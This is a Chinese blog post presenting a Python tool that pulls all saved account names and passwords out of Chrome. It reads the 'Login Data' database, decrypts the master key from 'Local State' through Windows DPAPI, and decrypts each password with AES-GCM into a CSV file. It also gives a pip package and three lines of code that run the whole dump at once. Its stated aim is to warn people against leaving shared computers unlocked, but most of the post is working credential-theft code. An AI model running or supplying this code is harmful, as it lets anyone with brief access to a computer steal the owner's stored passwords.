Python 一键获取电脑浏览器的账号密码


Posted in Python onMay 11, 2022

导语

发现很多人在学校图书馆喜欢用电脑占座(以古度今,我好像好多年没去过学校图书馆了),而且出去的时候经常不锁屏,为了让大家养成良好的习惯,我来带大家写个小程序吧,无需输入任何密码就可以快速获取你存储在电脑浏览器中的所有账号和密码,算是通过实践出真知来给大家提个醒了~

废话不多说,让我们愉快地开始吧~

相关文件

Github地址

开发工具

Python版本:3.7.8

相关模块:

pikachupytools模块;

pycryptodome模块;

以及一些python自带的模块。

环境搭建

安装Python并添加到环境变量,pip安装需要的相关模块即可。

原理简介

众所周知,我们的浏览器里一般存储了很多我们访问过的网站的账号和密码:

Python 一键获取电脑浏览器的账号密码

一般情况下,查看这些密码是需要输入电脑的开机密码的。但是事实上,我们也可以通过其他方式直接查看这些账号密码。例如谷歌浏览器里保存账号密码的数据库文件默认路径为:

os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Default\Login Data'

我们可以通过读取该文件获得对应的账号密码:

'''读取数据库数据'''
def readdb(self, dbpath, master_key):
    sql = 'SELECT origin_url, username_value, password_value, date_created, date_last_used FROM logins;'
    client = sqlite3.connect(dbpath)
    cursor = client.cursor()
    with open(self.savename, 'a', newline='', encoding='utf-8-sig') as csv_file:
        cursor.execute(sql)
        csv_writer = csv.writer(csv_file, dialect=('excel'))
        if not self.write_heads_flag:
            csv_writer.writerow(self.csv_heads)
            self.write_heads_flag = True
        info = []
        for row in cursor.fetchall():
            for idx in range(len(self.csv_heads)):
                if isinstance(row[idx], bytes):
                    info.append(self.decrypt(row[idx], master_key))
                else:
                    info.append(row[idx])
            csv_writer.writerow(info)
            info = []
    cursor.close()
    client.close()

其中密码是加密之后的结果,打印出来大概是这样子的:

Python 一键获取电脑浏览器的账号密码

但是解密其实也很简单,通过网上的资料可以知道,我们只需要获得key值:

'''获得master key'''
def getmasterkey(self, local_state_path):
    import win32crypt
    with open(os.environ['USERPROFILE'] + os.sep + local_state_path, 'r', encoding='utf-8') as fp:
        local_state = fp.read()
        local_state = json.loads(local_state)
    master_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])
    master_key = master_key[5:]
    master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
    return master_key

然后根据key值进行解码就行了:

'''解码'''
def decrypt(self, value, master_key):
    print(value)
    if value[:3] == b'v10':
        from Crypto.Cipher import AES
        iv, payload = value[3:15], value[15:]
        cipher = AES.new(master_key, AES.MODE_GCM, iv)
        decrypted_value = cipher.decrypt(payload)
        decrypted_value = decrypted_value[:-16].decode()
    else:
        import win32crypt
        decrypted_value = win32crypt.CryptUnprotectData(value)[1].decode()
    return decrypted_value

解码之后的运行效果结果如下:

Python 一键获取电脑浏览器的账号密码

获得的结果默认保存在results.csv中,截图如下:

Python 一键获取电脑浏览器的账号密码

ok,大功告成啦,完整源代码详见相关文件。

想要快速测试的小伙伴只需要pip安装一下pikachupytools包:

pip install pikachupytools --upgrade

然后简单写几行代码就能调用运行了:

from pytools import pytools

tool_client = pytools.pytools()
tool_client.execute('decryptbrowser')

到此这篇关于基于Python实现一键获取电脑浏览器的账号密码的文章就介绍到这了!

Python 相关文章推荐
Python的Flask框架中实现分页功能的教程
Apr 20 Python
启动targetcli时遇到错误解决办法
Oct 26 Python
对python添加模块路径的三种方法总结
Oct 16 Python
把JSON数据格式转换为Python的类对象方法详解(两种方法)
Jun 04 Python
Python解析json时提示“string indices must be integers”问题解决方法
Jul 31 Python
python word转pdf代码实例
Aug 16 Python
python3文件复制、延迟文件复制任务的实现方法
Sep 02 Python
使用python和pygame制作挡板弹球游戏
Dec 03 Python
python数据库编程 ODBC方式实现通讯录
Mar 27 Python
python破解同事的压缩包密码
Oct 14 Python
利用python 下载bilibili视频
Nov 13 Python
记一次python 爬虫爬取深圳租房信息的过程及遇到的问题
Nov 24 Python
图神经网络GNN算法
May 11 #Python
python神经网络ResNet50模型
May 06 #Python
python和anaconda的区别
May 06 #Python
python神经网络Xception模型
May 06 #Python
Python使用永中文档转换服务
May 06 #Python
Python tensorflow卷积神经Inception V3网络结构
May 06 #Python
Python实现Matplotlib,Seaborn动态数据图
May 06 #Python
You might like
怎样才能成为PHP高手?学会“懒惰”的编程
2006/12/05 PHP
php中记录用户访问过的产品,在cookie记录产品id,id取得产品信息
2011/05/04 PHP
php 去除html标记--strip_tags与htmlspecialchars的区别详解
2013/06/26 PHP
PHP中HTML标签过滤技巧
2014/01/07 PHP
PHP简单读取xml文件的方法示例
2017/04/20 PHP
tp框架(thinkPHP)实现三次登陆密码错误之后锁定账号功能示例
2018/05/24 PHP
top.location.href 没有权限 解决方法
2008/08/05 Javascript
js中if语句的几种优化代码写法
2011/03/12 Javascript
js简单的弹出框有关闭按钮
2014/05/05 Javascript
javascript实时显示当天日期的方法
2015/05/20 Javascript
详解AngularJS中$http缓存以及处理多个$http请求的方法
2016/02/06 Javascript
讲解JavaScript的Backbone.js框架的MVC结构设计理念
2016/02/14 Javascript
微信小程序 canvas API详解及实例代码
2016/10/08 Javascript
jQuery获取this当前对象子元素对象的方法
2016/11/29 Javascript
js实现键盘自动打字效果
2016/12/23 Javascript
微信小程序实战之上拉(分页加载)效果(2)
2017/04/17 Javascript
jQuery操作DOM_动力节点Java学院整理
2017/07/04 jQuery
Angularjs 手写日历的实现代码(不用插件)
2017/10/18 Javascript
Vue编写可显示周和月模式的日历 Vue自定义日历内容的显示
2019/06/26 Javascript
JavaScript canvas实现跟随鼠标事件
2020/02/10 Javascript
[55:35]VGJ.S vs Mski Supermajor小组赛C组 BO3 第二场 6.3
2018/06/04 DOTA
Python爬取网易云音乐上评论火爆的歌曲
2017/01/19 Python
用tensorflow实现弹性网络回归算法
2018/01/09 Python
Python实现屏幕截图的两种方式
2018/02/05 Python
Jupyter安装nbextensions,启动提示没有nbextensions库
2020/04/23 Python
Python的argparse库使用详解
2018/10/09 Python
Python实战之制作天气查询软件
2019/05/14 Python
python3.x提取中文的正则表达式示例代码
2019/07/23 Python
python pip安装包出现:Failed building wheel for xxx错误的解决
2019/12/25 Python
英国领先的维生素和补充剂品牌:Higher Nature
2019/08/26 全球购物
投标邀请书范文
2014/01/31 职场文书
读书活动总结
2014/04/28 职场文书
教师四风自我剖析材料
2014/09/30 职场文书
高中生综合素质自我评价
2015/03/06 职场文书
2015年三万活动总结
2015/03/25 职场文书
漫画《尖帽子的魔法工坊》宣布动画化
2022/04/06 日漫